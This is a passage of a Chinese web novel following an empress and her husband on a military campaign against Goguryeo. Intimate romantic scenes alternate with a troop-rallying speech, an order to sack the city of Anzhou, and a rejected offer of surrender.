?睡裙之上,那只擎天巨凤的图案,在如此氛围下,敛去了所有锋芒戾气,凤羽层叠的线条显得柔和而华美,仿佛一只栖息在爱人怀中的温顺凤凰。? 宽大轻盈的喇叭袖一只软软垂落榻边,袖口精致的金线流苏拂过洁白的虎皮,另一只则被她随意搭在屈起的膝盖上。 她左手拇指上的墨玉扳指,在烛光下泛着温润莹泽的光,与她纤细的手指相得益彰。 而那长达五丈的苏锦拖尾,此刻也卸下了战场的“凌乱”,呈现出一种慵懒到极致的铺陈——大部分迤逦地堆叠在软榻之下,?如同墨金色的云朵,?一部分则顺着榻沿,?蜿蜒流淌在昂贵的地毯上,?甚至有一小截,?调皮地卷到了榻上一个引枕旁边。 ?棉质的柔软亲肤与睡裙的宽松设计,让她可以完全放松下来,像一只收起利爪的猫儿,窝在属于自己的安全领地。 林臻并未坐在对面的椅子上。 他侧身坐在榻边,?背靠着榻沿,?让慕容嫣可以舒适地靠在他身侧。 他手中也没有拿书卷或军报,?而是拿着一把小巧的玉梳,?正动作轻柔地,?一下下梳理着慕容嫣如瀑般披散下来的墨黑长发。 他的眼神专注而温柔,仿佛手中捧着的是世间最珍贵的丝绸,生怕弄疼了一分一毫。 “夫君,”慕容嫣微微动了动脑袋,?在他肩头蹭了蹭,?声音带着浓浓的鼻音,?是全然的依赖与撒娇,“你梳头的手法越发好了呢,比宫里的梳头嬷嬷还要舒服。” 林臻低笑一声,声音醇厚温柔,带着无限的宠溺:“嫣儿喜欢就好。为夫这辈子,只怕也就会伺候你一个人梳头了。” 他放下玉梳,用手指轻轻为她按摩着头皮,指尖力道恰到好处。 慕容嫣舒服地眯起了眼,?像只被顺毛的猫儿,?发出极轻的哼唧声。 她伸出手,?不是戴着扳指的那只,?而是右手,?轻轻拽住了林臻腰间玉佩的穗子,?无意识地缠绕把玩着。 “夫君,”她忽然想起什么,?仰起脸看他,?烛光映照下,?她的凤眸亮晶晶的,?少了平日的威仪冷冽,?满是女儿家的娇憨,“等打完了这一仗,回了长安,我想给你生个小皇子或者小公主,好不好?” 她的语气带着一丝羞涩,却又充满了期待,仿佛这是世间最自然不过的事情。 林臻按摩的动作微微一顿,心中最柔软的地方被狠狠触动了。 他低头,看着怀中人儿那绝美的容颜上此刻毫不设防的依赖与爱恋,一股暖流夹杂着难以言喻的酸楚涌上心头。 他何尝不期盼? 但前途凶险,他更担心的是她的安危。 他伸手,轻轻抚上她的脸颊,指尖感受到她肌肤的细腻温热,声音愈发低沉温柔:“好自然是好的,只要是嫣儿生的,无论是皇子还是公主,为夫都会视若珍宝。” 他顿了顿,眼中闪过一丝忧虑,“只是嫣儿,平壤一战,凶险异常,你……” “嘘,”慕容嫣伸出食指,?轻轻按在了他的唇上,?阻止了他后面的话。她的眼神变得坚定而认真?:“夫君,有你在我什么都不怕,我知道前路艰难,但只要我们在一起,刀山火海我也敢闯。” 她将头重新靠回他肩上,?声音闷闷的,?却带着不容置疑的力量,“你答应过我,要永远陪着我的,不许反悔。” “不反悔。”林臻紧紧拥住她,仿佛要将她揉进自己的骨血里,“为夫发誓,此生此世,不离不弃,生死相随。” 他的承诺,重若千斤。 慕容嫣在他怀里满足地喟叹一声,?安静了一会儿。 书房内只剩下烛火偶尔噼啪的轻响,以及彼此交融的呼吸声。 过了一会儿,她似乎又想起了什么,?轻轻扯了扯他的衣袖?:“夫君,我渴了,想喝你亲手煮的那个梅花上的雪水泡的茶。” 这要求,在这远离长安、战火纷飞的辽东边境,近乎奢求。 但林臻没有丝毫犹豫,立刻点头:“好,为夫这就去煮。前几日刚好收集了一些干净的雪,存在冰鉴里,虽不是梅花上的,却也清冽。” 他说着,便要起身。 “不要!”慕容嫣却突然抱紧了他的腰,?不让他动,?嘟着嘴,?像个耍赖的小女孩,“现在不要去,再抱一会儿,就一会儿…” 林臻失笑,心中爱极了她这般模样,重新坐好,将她更紧地拥入怀中:“好,再抱一会儿。那等嫣儿想喝了,为夫再去煮。” 慕容嫣这才满意地笑了,?将脸深深埋在他颈窝,?嗅着他身上令人安心的气息。 她身上那件神凤降世裙的柔软面料,?摩擦着林臻的衣袍。 那迤逦堆叠的墨金色拖尾,?也随着她的动作,?在榻上微微滑动。 两人就这样相拥着,享受着战前难得的静谧与温情。所有的杀戮、阴谋、仇恨,似乎都被暂时隔绝在了这间温暖的书房之外。 过了许久,慕容嫣似乎有些困了,?轻轻打了个小哈欠。她从他怀里抬起头,?揉了揉眼睛?:“夫君,我好像真的有点困了。” “那就睡吧。”林臻柔声道,小心地将她平放在榻上,为她盖好柔软的锦被。 慕容嫣却拉着他的手不放,?眼神迷蒙地看着他?:“你陪我,等我睡着了再走。” “好,为夫陪你。”林臻在榻边坐下,依旧握着她的手。 慕容嫣安心地闭上眼睛,?长睫在眼睑下投下淡淡的阴影。 很快,她的呼吸变得均匀绵长,显然已经沉沉睡去。 即使在睡梦中,她的嘴角也微微上扬,带着一丝恬静的笑意。 林臻静静地看着她的睡颜,?目光温柔得能滴出水来。 他轻轻拂开她额前一缕散落的发丝,俯身,在她光洁的额头上印下一个轻柔如羽的吻。 “睡吧,我的嫣儿。”他低声呢喃,“无论明天如何,我都会在你身边。” 烛光摇曳,映照着榻上安然入睡的女帝,和守护在侧的男人。 第967章 校场之吻 圣徽二年,二月二十三,辰时。 海州城外的临时校场,旌旗蔽日,刀枪如林。 经过数日休整,大乾东征将士已从海州之战的疲惫中恢复,取而代之的是一种更加凝练、更加锐利的杀气。 今日,便是誓师东进,直扑高句丽最后堡垒——平壤的日子。 空气中弥漫着大战将至的肃杀与紧张。 校场点将台上,慕容嫣迎风而立。 辽东初春的寒风依旧凛冽,吹得旗帜猎猎作响。她并未穿戴沉重铠甲,?依旧是一身标志性的黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙。 为了御寒与彰显威仪,?睡裙之外,?罩着一件庄重厚实的黑金色苏锦大礼服式霞帔,?霞帔上以暗金线绣着山河日月纹,?边缘缀以细密珍珠。 而最外层,?则披着那件华贵夺目的黑金貂皮披肩,?貂皮深褐近黑,?光泽油亮,?在晨光下隐隐泛着暗金,?与整体色调完美融合,?更添王者霸气。 ?神凤降世裙在旷野的阳光下,展现出一种与宫室、舰船、乃至血腥战场皆不同的磅礴气象。 ?极致玄黑的苏锦底料吸吮着清晨的阳光,色泽沉静如深渊,却又仿佛蕴含着无尽的力量。 织入的金色棉绒与真金线,则反射出冷冽而耀眼的辉光,与台下无数甲胄的寒芒交相辉映。 ?睡裙之上,那只擎天巨凤在广阔天地间,更显磅礴大气,凤羽层叠,仿佛随时会振翅高飞,引领千军万马。? 宽大轻盈的喇叭袖在霞帔的广袖下若隐若现,袖口金线流苏随风轻扬。 她左手拇指上的墨玉扳指,在日光下泛着幽深而温润的光泽。 而最引人注目的,依旧是那长达五丈的苏锦拖尾。 在点将台这有限的空间里,它无法恣意铺展,?却被刻意地,?甚至带着一种宣告意味地,?凌乱地铺陈在台面上,?从慕容嫣的脚边,?一直延伸到台子的边缘,?甚至有一部分垂落台下,?墨金色的华贵锦缎与粗糙的木制台面,?与台下肃杀的军阵,?形成了极具冲击力的视觉对比。 这种凌乱,并非邋遢,而是一种超越常规、睥睨天下的自信与掌控力的体现。? 棉质的柔软概念与睡裙的称谓,在此刻已被这宏大的场景彻底重塑,成为了独一无二的帝王象征。 林臻一身玄黑色明光铠,?盔甲擦得锃亮,?腰佩长剑,?肃立在慕容嫣身侧稍后一步的位置。 他身姿挺拔如松,面容冷峻,目光如鹰隼般扫视着台下整齐列队的将士,确保万无一失。 他是她的剑,她的盾,更是她最坚实的依靠。 慕容嫣目光缓缓扫过台下黑压压的、一眼望不到边的军阵。 数万将士鸦雀无声,只有战马的响鼻和旗帜拂动的声响。 她深吸一口气,?清越而充满力量的声音,?借助内力,?清晰地传遍了整个校场?: “大乾的将士们!” 声音一起,所有目光瞬间聚焦于点将台上那抹独一无二的墨金色身影。 “你们,跟随朕跨海东征,浴血奋战,收复海州,扬我国威!你们是大乾的骄傲,是朕的肱骨!”慕容嫣的声音不高,?却带着一种直抵人心的穿透力,?每一个字都掷地有声。 “高句丽,蛮夷小邦,屡犯天朝,屠我子民,占我疆土,其罪滔天,罄竹难书!海州城下,他们妄想求和苟活?朕,告诉他们,也告诉你们——不可能!” 她的声音陡然转厉,凤眸含威, “血债,必须血偿!唯有踏平平壤,犁庭扫穴,用高句丽皇族的血,才能告慰我大乾无数死难军民的在天之灵!” “今日,朕与你们一同,誓师东进!目标,只有一个——平壤!”她抬起手臂,?指向东方,?宽大的霞帔袖口随风展开, “打破它!焚毁它!让圣徽的旗帜,插上平壤的城头!让高句丽人,世世代代,记住挑衅大乾的下场!” “陛下万岁!大乾万岁!”台下瞬间爆发出山呼海啸般的呐喊,将士们被女帝的决绝与气势彻底点燃,士气高涨到了顶点! 慕容嫣看着台下激昂的将士,?脸上露出了出征以来罕见的,?一丝明朗而坚定的笑容。 她微微侧身,?目光转向身旁的林臻。 那一刻,她眼中的凌厉威仪悄然融化,取而代之的是一种全然的信任、依赖与深沉的爱恋。 “此战凶险,”她的声音放缓了些,?却依旧能让前排的将士听到,?像是说给林臻听,?又像是说给全军听,“但朕无所畏惧。因为朕的身边,有你们,更有朕的夫君——林臻!” 她说着,?竟在数万将士的注视下,?向前一步,?主动伸出手,?轻轻握住了林臻那戴着金属护手的右手。 林臻微微一怔,?显然没想到她会在如此公开场合做出这般亲昵举动。 但他立刻反手握住了她微凉的手指,?眼中充满了柔情与坚定。 铠甲冰冷,但他的掌心却一片温热。 “夫君,”慕容嫣仰头看着他,?眼神清澈而专注,?声音带着一丝只有在他面前才会流露的娇憨与依赖,“待攻破平壤,你我便在那高句丽王宫的正殿之上,痛饮庆功酒,可好?” 林臻心中激荡,?看着她在阳光下熠熠生辉的容颜,?看着那身华美睡裙也掩不住的深情,?重重点头,?声音沉稳而有力?:“臣遵旨!定护陛下踏破平壤,共饮凯旋!” 慕容嫣闻言,?脸上的笑容愈发灿烂,?宛如冰雪初融。 她踮起脚尖——全然不顾身后那凌乱铺陈的五丈拖尾因此动作而微微摩擦台面——凑近林臻,?在全军将士的注视下,?轻轻地,?却又无比坚定地,?吻上了他的唇。 时间,仿佛在这一刻静止。 阳光洒落在他们身上,为玄甲与墨金色的睡裙镀上了一层金边。 点将台上,威严的女帝与她忠诚的亲王,在万千将士面前,用这样一个吻,宣誓着彼此的爱恋、信任与同生共死的决心。 那身神凤降世裙的华美,与林臻铠甲的冷硬,在此刻完美交融。 一吻短暂,却足以震撼人心。 慕容嫣缓缓退开,?脸颊微红,?眼波流转,?更是美得惊心动魄。 她转身,?重新面向台下寂静无声的军阵。 就在她转身的刹那—— 动作带着爱意与决绝交织的澎湃情感! 那迤逦在点将台上的、凌乱铺陈的五丈墨金色拖尾与霞帔因这迅猛的回转被猛地带起! 华贵的锦缎如同被注入生命,?唰啦一声,?在空中划出一道绚烂而深情的弧线?! 随着拖尾的骤然飘起——赫然露出了里面那金线密织、在灿烂阳光下璀璨如旭日东升的“满地织金”内衬!?? 百凤朝阳的纹路在瞬间迸发出耀眼夺目的金芒,那金光温暖、辉煌,充满了爱与胜利的信念,与方才杀伐之气形成鲜明对比,却又奇异地和谐统一! 这惊鸿一瞥,是对将士们的再次鼓舞,也是对身边爱人的无声誓言! 裙摆落下,华光内敛。 慕容嫣面对全军,?凤眸中燃烧着炽热的火焰,?声音再次响彻云霄?:“三军听令!出发——目标,平壤!” “万岁!万岁!万岁!”震天的欢呼声再次响起,比之前更加狂热! 帝后情深,君臣一心,还有什么敌人不可战胜? 大军开拔,铁流滚滚,向东而去。 点将台上,慕容嫣与林臻并肩而立,?目送着军队远去。 她悄悄伸出手,?再次握住了他的手。 林臻紧紧回握,?两人相视一笑,?一切尽在不言中。 ? 第968章 车里的温暖 圣徽二年,二月二十五。 大乾东征主力离开海州城已两日,庞大的军队如同一条黑色的巨龙,在高句丽西部略显荒凉的原野上迤逦前行。 时值早春,寒意未消,但路边的枯草已隐约透出些许绿意,天空也呈现出一种清澈的蔚蓝,若非空气中弥漫的行军肃杀之气,倒颇有几分踏青的意味。 在这支钢铁洪流的核心,最为显眼的,莫过于那辆由八匹神骏白马牵引、装饰极其奢华隆重的御用凤凰车鸾。 车舆宽敞如同移动的小型宫室,四壁以紫檀木镶嵌,雕龙画凤,车窗悬挂着薄如蝉翼却不透光的鲛绡纱,既保证了私密,又不完全隔绝光线。 车内铺着厚厚的地毯,设有固定的软榻、小几、书柜,甚至还有一个微型暖炉,确保车内温暖如春。 此刻,慕容嫣正慵懒地斜倚在软榻上,?身下垫着数个柔软的锦缎引枕。 她依旧穿着那身黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙。 ?极致玄黑的苏锦底料在车厢内柔和的光线下,呈现出一种天鹅绒般细腻的光泽,吸吮着从鲛绡纱透入的漫射光,色泽沉静而高贵。 织入的金色棉绒与真金线,不再反射刺目的光芒,而是流淌着温暖而内敛的暗金波光,如同夕阳下静谧的湖面泛起的涟漪。 ?睡裙之上,那只擎天巨凤的图案,在如此私密放松的环境下,敛去了所有沙场的戾气与朝堂的威严,凤羽层叠的线条显得格外柔和华美,仿佛一只收敛了羽翼、安心休憩的凤凰。? 宽大轻盈的喇叭袖一只软软垂落在榻边,袖口精致的金线流苏随着车厢轻微的摇晃而轻轻摆动,另一只则被她随意地搭在小腹上。 她左手拇指上的墨玉扳指,在车内光线下泛着温润莹泽的光。 而那长达五丈的苏锦拖尾,在这有限的车厢空间内,展现出一种极致慵懒的凌乱——大部分迤逦地堆叠在软榻之下,?如同墨金色的云海,?一部分则顺着榻沿,?蜿蜒流淌在柔软的地毯上,?甚至有几缕,?调皮地卷到了固定的小几腿旁。 这种受限空间内的随意铺陈,?反而更添了几分真实的生活气息与亲昵感。? 棉质的柔软亲肤与睡裙的宽松设计,让她可以完全沉浸在旅途的放松与爱人的陪伴中。 林臻并未坐在对面的座位上。 他侧身坐在榻边,?背靠着榻沿,?让慕容嫣可以舒适地靠在他身侧。 他脱去了戎装外甲,?只着一身玄色常服,?更显身姿挺拔而放松。 他一只手轻轻揽着慕容嫣的肩头,?另一只手则与她十指相扣,?放在自己的腿上。 车窗外,是不断向后掠去的田野、山丘和偶尔出现的荒废村落。 车厢内,却是一片温馨静谧。 只有车轮碾过路面的辘辘声、马蹄嘚嘚声以及微风拂过车窗的细微声响,构成了一曲单调却令人安心的背景音。 “夫君,”慕容嫣微微动了动,?将头更舒服地靠在他肩窝,?声音带着一丝刚睡醒般的慵懒沙哑,“走到哪儿了?离平壤还有多远?” 她一边问,一边用空闲的那只手的指尖,无意识地在他胸前的衣料上画着圈。 林臻低头,用下巴轻轻蹭了蹭她的发顶,目光温柔地能滴出水来:“回我的嫣儿,刚过肃川,照这个速度,再有三四日,便能望见平壤城了。” 他的声音低沉而富有磁性,在封闭的车厢内回荡,格外令人心安。 “还有三四日啊,”慕容嫣轻轻叹了口气,?语气里却没有丝毫焦急,?反而有种希望路程再长一些的意味。 她仰起脸看他,?凤眸中水光潋滟,?带着全然的依赖, “这车坐着倒是比骑马舒服多了,就是有点闷,夫君你把那边车窗的帘子拉开一点点好不好?我想看看外面。” “好。”林臻应道,却并未立刻起身,而是先小心地调整了一下姿势,让她靠得更舒服,然后才探过身,将慕容嫣那一侧的车窗鲛绡纱轻轻拉开了一道缝隙。 顿时,一股带着泥土和青草气息的微凉春风涌入车厢,吹散了些许暖意,也带来了外面广阔天地的气息。 阳光透过缝隙,在车厢内投下一道明亮的光柱,光影摇曳。 慕容嫣好奇地透过缝隙向外望去。 只见军队行列整齐,旌旗招展,士兵们沉默而坚定地前行着。 更远处,是初春略显萧瑟的原野,天际线起伏连绵。 “夫君你看,”她忽然有些兴奋地轻轻拉了拉他的手,?指着窗外远处一片隐约可见的、泛着粉白的山坡,“那是不是山杏花?好像快要开了呢” 林臻顺着她指的方向望去,微笑着点头:“嫣儿眼力真好,确实是山杏。等我们打完仗回来,或许就能看到漫山遍野的花开了。” “嗯!”慕容嫣用力点头,?脸上露出憧憬的笑容,?随即又有点怅然,“可惜现在还不是时候,”她说着,?收回目光,?重新靠回他怀里,?小声嘟囔着,“等回了长安,夫君你要陪我去上林苑看杏花,还要给我摘最漂亮的那一枝。” “好,都依你。”林臻满口答应,眼中满是宠溺。 他低头,看着她近在咫尺的绝美侧颜,看着她长而卷翘的睫毛,心中爱意汹涌。 他忍不住抬起与她十指相扣的手,放到唇边,轻轻吻了吻她的手背。 慕容嫣感受到手背上传来的温热触感,?身子微微一颤,?脸颊泛起一抹红晕。 她没有躲闪,?反而将他的手握得更紧,?声如蚊蚋?:“夫君。” “嗯?”林臻低声回应,目光灼灼地看着她。 慕容嫣却不再说话,?只是抬起那双勾魂摄魄的凤眸,?含情脉脉地凝视着他。车厢内的空气仿佛瞬间变得暧昧起来。 她微微支起身子,?主动将红唇凑了上去。 林臻自然不会再犹豫,?他低头,?深深地吻住了她。 这个吻,温柔而缠绵,带着无尽的眷恋与爱意,隔绝了车外的风尘与杀伐。 他揽着她肩头的手微微用力,?另一只与她十指相扣的手也握得更紧。 慕容嫣热情地回应着,?双手不知不觉间环上了他的脖颈。 那宽大的喇叭袖垂落下来,?拂过他的脸颊。 车厢内只剩下彼此急促的呼吸声和唇齿交缠的细微声响。 良久,唇分。 慕容嫣脸颊绯红,?眼波流转,?微微喘息着,?将额头抵在他的额头上。 林臻的呼吸也有些粗重,?他看着她娇媚的模样,?忍不住又在她唇上轻啄了一下。 “嫣儿,”他的声音沙哑而充满磁性。 “夫君,”慕容嫣轻声回应,?带着满足的叹息。 她放松身体,?重新窝进他怀里,?一只手却调皮地滑到了他的大腿上,?隔着衣料,?轻轻摩挲着。 林臻身体微微一僵,?随即失笑,?大手覆盖住她作乱的小手,?低声道?:“别闹,还在行军呢。” 慕容嫣狡黠地眨了眨眼,?像只偷腥成功的猫儿?:“又没人看见,再说我是皇帝,我想摸自己夫君的大腿,谁敢说什么。” 她的语气娇蛮,?却更添风情。 林臻爱极了她这般模样,?无奈又宠溺地摇摇头,?任由她的小手在自己腿上作怪。 他将她往怀里又带了带,?下巴抵着她的发顶,?一起望着窗外流动的风景。 阳光透过车窗缝隙,恰好照在慕容嫣那凌乱堆叠的墨金色拖尾上。 光芒流转间,那睡裙的华美与此刻的温情交织在一起。 过了一会儿,慕容嫣似乎想起了什么,?轻轻“啊”了一声,?转身想去拿小几上的水杯。 就在她转身的刹那—— 动作带着被宠爱后的慵懒与随意! 那迤逦在车厢地毯上的、凌乱铺陈的五丈墨金色拖尾因这突然的动作被带动,?唰啦一声,?如同流水般滑过柔软的地毯?! 随着拖尾的悄然飘起——赫然露出了里面那金线密织、在阳光下闪烁着温暖光泽的“满地织金”内衬!?? 百凤朝阳的纹路在瞬间闪现,金光流淌,不再是象征权力与杀伐的冷光,而是充满了爱意与幸福的暖色,如同此刻车厢内弥漫的温情! 这惊鸿一瞥,是只属于他们二人的私密美景。 裙摆落下,金光内敛。 慕容嫣拿到水杯,?喝了一小口,?然后又递到林臻唇边。 林臻就着她的手喝了一口,?两人相视一笑,?一切尽在不言中。 第969章 有挡路的?那就屠过去 圣徽二年,二月二十七。 大乾东征主力已深入高句丽腹地,距离王都平壤仅剩百余里。 然而,一座名为“安州”的城池,如同拦路虎般,扼守在通往平壤的必经之路上。 安州城虽不如海州险要,但城防坚固,守军亦有近万,且显然得到了平壤的死命令,决心负隅顽抗。 御用凤凰车鸾停在了距离安州城五里外的一处高坡上,此处可俯瞰城池全貌。 车鸾周围,精锐禁军环伺,气氛肃杀。 车内,却依旧保持着相对的宁静与温暖。 慕容嫣并未下车。 她慵懒地靠在软榻上,?身下垫着柔软的白虎皮。 她依旧穿着那身黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙, 即便在军旅之中,她的神凤降世裙依旧保持着极致的华美。 ?极致玄黑的苏锦底料在车内光线下深邃如夜,织入的金色棉绒与真金线流淌着内敛的辉光。 ?睡裙之上,那只擎天巨凤的图案,在等待军报的间歇,少了几分戾气,多了几分运筹帷幄的沉稳。? 宽大轻盈的喇叭袖一只垂落榻边,另一只则搭在她屈起的膝盖上。 她左手拇指上的墨玉扳指,在光下温润。 那长达五丈的苏锦拖尾,?在车厢内,?依旧保持着一种慵懒的凌乱,?大部分堆叠榻下,?部分蜿蜒地毯,?与这临时军帐般的氛围,?形成一种独特的张力。 林臻坐在她身侧,?面前摊开着一幅安州附近的舆图。他手指点着地图上的标注,?低声分析着?:“嫣儿你看,安州城三面环山,唯有西面地势较为平坦,是主要进攻方向。城墙高厚,守军士气看来不低。” 他的语气沉稳,带着专业的判断。 慕容嫣漫不经心地听着,?一只手支着下巴,?另一只手则伸过去,?轻轻玩着林臻舆图旁笔架上的一支朱笔。 “哦?那夫君觉得要打多久才能拿下?”她的语气,仿佛在问今天天气如何,而非一场即将发生的攻城战。 就在这时,车帘外传来近卫低沉的声音:“陛下,亲王,前锋营李将军求见。” “宣。”慕容嫣懒懒地应了一声,?并未改变姿势。 车帘掀开,一名风尘仆仆、身披轻甲的将领躬身入内,单膝跪地:“末将李崇,参见陛下,亲王殿下!” “平身。安州城内有何动静?”林臻代为发问,目光锐利。 李崇起身,面色凝重:“回殿下!末将已派斥候抵近侦察,并向城内射入劝降书。但守军态度极其强硬,将劝降书撕毁,并射箭回击。城头守军密集,旗帜遍布,看样子是打算死守到底,与我军玉石俱焚!” 他说到最后,声音带着一丝愤慨。 慕容嫣原本把玩朱笔的手停了下来。 她微微抬起眼帘,?目光扫过李崇,?那眼神平静无波,?却让久经沙场的李崇不由自主地感到一丝寒意。 “不投降?”慕容嫣轻轻重复了一句,?嘴角勾起一抹极淡的,?冰冷的弧度。 她将朱笔放回笔架,?坐直了些身子,?那只原本搭在膝盖上的手,?随意地拂了拂袍袖上并不存在的灰尘。 “既然他们想死守,”她的声音依旧慵懒,?却带着一种不容置疑的决断,“那朕就成全他们。李将军。” “末将在!” “传朕旨意,前锋营即刻准备,一个时辰后,开始攻城。火炮营集中火力,给朕轰开西门。告诉他们,城破之后。” 她顿了顿,?目光转向车窗方向,?仿佛能穿透车壁看到那座城池,“老规矩。” “老规矩”三个字,轻飘飘地从她红唇中吐出,却让车内的温度仿佛骤然下降了几度。 李崇自然明白这“老规矩”意味着什么——海州城的惨剧,即将在安州重演。 他心头一凛,但不敢有丝毫犹豫,立刻躬身:“末将遵旨!” 随即快步退了出去。 车内恢复了寂静。林臻看向慕容嫣,?眉头微蹙?:“嫣儿,安州守军看来是得了死令,要共存亡。强攻的话,我军伤亡恐怕很大。” 慕容嫣转过头,?看向林臻,?方才眼中的冰冷瞬间消融,?取而代之的是一种带着撒娇意味的无奈。 她伸出手,?轻轻拽了拽林臻的衣袖?:“夫君,我也不想将士们多流血呀,可是你看他们不投降嘛。” 她的语气软糯,?像是个被难题困扰的小女孩, “他们非要挡着我们去平壤的路,那我们只好一点点清理过去了呀。” 她说着,?身体微微前倾,?靠近林臻,?仰着脸看他,?凤眸中水光盈盈?:“再说,海州的事总要让他们知道违逆朕的下场,不然这一路上去平壤岂不是每个城池都要我们费力气去打?那样的话伤亡不是更大?夫君你说是不是嘛。” 她一边说,?一边用手指轻轻戳了戳林臻的胸口,?带着点小埋怨,?又带着全然的依赖,?仿佛在寻求他的认同和支持。 林臻看着她这瞬间转变的模样,?心中又是好笑又是无奈。 他何尝不知这是最有效、也是最残酷的震慑手段? 只是他握住她作乱的小手,叹了口气:“为夫只是担心你的名声,还有,将士们连日征战,也需要休整。” “名声?”慕容嫣嗤笑一声,?顺势靠进他怀里,?把玩着他衣襟上的扣子,“夫君,到了这个地步还要什么温良恭俭让的名声?朕要的是让高句丽人听到我的名字就发抖,是尽快踏平平壤然后,” 她的声音低了下来,?带着一丝憧憬,“然后我们就可以早点回长安了呀,我还等着夫君陪我去看上林苑的杏花呢。” 她仰起头,?在他下巴上轻轻吻了一下,?眼神狡黠?:“所以为了能早点回家看花,这些挡路的石头就得快点搬开对不对?夫君最聪明了,肯定明白的。” 林臻被她这通歪理说得哑口无言,?只能将她紧紧搂住,?低头吻了吻她的发顶?:“你呀,总是有道理,好,都依你,只是下次不可再亲临前线了,太危险。” “知道啦。”慕容嫣在他怀里乖巧地应着,?嘴角却勾起一抹得逞的笑意。 她安静地靠了一会儿,?听着车外隐约传来的军队调动的号角声。 忽然,她从林臻怀里抬起头,?眼神再次变得锐利而冰冷,?对着车外吩咐道?:“传令下去,攻城之时朕要在这车里看着。” “是!”车外近卫领命。 慕容嫣重新靠回林臻怀里,?但目光却透过车窗的缝隙,?冷冷地投向远方那座即将陷入血火的安州城。 她轻声自语,?又像是说给林臻听?:“一点一点屠过去也好,让平壤城里的那些人多听听多想想。” 她说着,?似乎觉得有些闷,?想要调整一下姿势,?于是轻轻转过身,?面向车窗方向。 就在她转身的刹那—— 那迤逦在车厢地毯上的、凌乱铺陈的五丈墨金色拖尾被顺势带动,?唰啦一声,?如同暗流涌动般滑过柔软的地毯?! 随着拖尾的悄然飘起——赫然露出了里面那金线密织、在车内光线下闪烁着冷冽光泽的“满地织金”内衬!?? 百凤朝阳的纹路在瞬间闪现,金光流淌,但那光芒此刻毫无暖意,只有一种金属般的冰冷与决绝,与她此刻下达屠城命令的心境完美契合! 这惊鸿一瞥,是死亡的通知书。 裙摆落下,将那片冰冷的金光掩盖。 慕容嫣静静地看着窗外。 林臻从身后拥着她,?沉默不语。 车鸾内,温情与杀意诡异共存。 第970章 扒我裙子? 圣徽二年,二月二十八,辰时。 安州城西门外,大乾军阵肃列,刀枪映日,杀气凌霄。 经过一日准备,攻城器械已然就位,数十门黑洞洞的炮口直指城墙。 空气中弥漫着硝烟与泥土混合的气息,大战一触即发的压抑感,沉甸甸地压在每个人的心头。 然而,在这肃杀军阵的最前方,却出现了一抹与战场格格不入的、极尽华贵的身影。 慕容嫣并未端坐于安全的车鸾之内,?而是亲自骑乘着那匹神骏的雪白战马,?立于全军阵前?! 这个举动,无疑极大地鼓舞了士气,也让城上守军将她的形貌看得一清二楚。 她依旧穿着那身黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙。 为了适应战场环境,?睡裙之外,?罩着一件裁剪利落、便于骑乘的黑金色苏锦骑射服式霞帔,?霞帔之上以暗金线绣着简洁的云纹。 而最外层,?则披着那件华贵夺目、足以抵御战场寒风的黑金貂皮披肩,?披肩的绒毛在晨风中微微拂动。 即便是在这金戈铁马的阵前,?神凤降世裙的华美与独特依旧震撼人心。 ?极致玄黑的苏锦底料在清晨的阳光下,呈现出一种深不见底的色泽,仿佛能吸纳所有的光线与声音,织入的金色棉绒与真金线则反射出冷冽而威严的辉光,与她身后万千将士的甲胄寒芒交相辉映。? 睡裙之上,那只擎天巨凤的图案,在战马不安的踱步间,仿佛随时欲破衣而出,带着睥睨天下的霸气与沙场的戾气。? 宽大轻盈的喇叭袖收束在骑射服袖口内,但她左手拇指上的墨玉扳指,依旧在日光下泛着冷硬的光泽。而最引人注目的,依旧是那长达五丈的苏锦拖尾。 为了骑乘,大部分被小心挽起固定在马鞍后,但仍有一大幅刻意地、甚至带着宣告意味地凌乱垂落,?拖曳在战马侧后方的土地上,?华贵无比的墨金色锦缎与冰冷粗糙、布满车辙马蹄印的泥地接触,沾染了尘土,?形成了极具冲击力的对比。 这种凌乱,在此刻,是一种无视战场污秽、彰显绝对权威的姿态。 ?棉质的柔软与睡裙的概念,早已被这身装扮的主人所赋予的意义彻底超越。 林臻一身玄黑色明光铠,?骑着一匹乌骓马,?紧紧护卫在慕容嫣左侧半个马身的位置。 他目光如鹰隼,警惕地扫视着城墙上的每一个垛口,手中紧握长槊,全身肌肉紧绷,随时准备应对任何突发情况。 他的存在,是慕容嫣胆敢亲临阵前最大的底气。 慕容嫣勒住战马,?抬起手,?示意全军肃静。 霎时间,数万人的军阵鸦雀无声,只有战旗在风中猎猎作响。 她目光平静地望向安州城头,?那里,?守军密密麻麻,?刀弓在手,?一张张脸上充满了悲愤、恐惧与决绝。 她运起内力,?清越而充满威仪的声音,?清晰地传遍了战场每一个角落,?也清晰地送上了城头?:“安州守军听着!朕乃大乾皇帝,慕容嫣!” 城头上一阵骚动,无数目光聚焦于阵前那抹绝无仅有的墨金色身影上,充满了复杂的情绪——敬畏、仇恨、以及一丝难以置信。 “高句丽挑衅在先,屠我边民,罪无可赦!朕兴师问罪,乃天经地义!海州顽抗,自取灭亡,非朕不仁!”她的声音带着不容置疑的威严,“然,朕念及上天有好生之德,亦知尔等多为奉命行事。今日,朕亲临阵前,以帝王之名担保——” 她顿了顿,?目光扫过城头,?声音提高?:“——此刻放下兵器,开城投降者,朕,赦其死罪!可保全城百姓性命!若负隅顽抗,城破之日,鸡犬不留!” “帝王一诺,重于千金!尔等速决!” 她的条件,不可谓不宽厚。 在绝对的军事优势下,给出这样的承诺,已是极大的“仁慈”。 许多大乾将领都认为,城内守军或许会动摇。 然而,回应她的,并非犹豫或商讨,而是一阵更加激烈的骚动后,一名守军将领模样的中年人,冲到垛口前,双目赤红,须发戟张,用尽全身力气嘶吼道: “慕容嫣!妖女!休要在此假仁假义!海州城数万军民的血还未干!你双手沾满血腥,也配谈好生之德?!我等高句丽将士,宁为玉碎,不为瓦全!今日,定要与你血战到底!就算死,也要扒下你这身妖异的凤袍,让你这不伦不类的睡裙暴露于天下人面前!为海州冤魂报仇雪恨!” “报仇雪恨!” “扒下她的凤袍!” “杀了妖女!” 城头上,顿时响起一片悲愤无比的怒吼声,声浪震天,充满了视死如归的决绝。 显然,海州城的屠杀,已彻底激起了高句丽军民的死志,慕容嫣的劝降,在他们听来,无疑是最大的讽刺。 慕容嫣端坐马上,?面色平静如水,?仿佛那滔天的骂声只是清风拂过。 但站在她身侧的林臻,却敏锐地察觉到,她握着缰绳的手指,?微微收紧了一些。 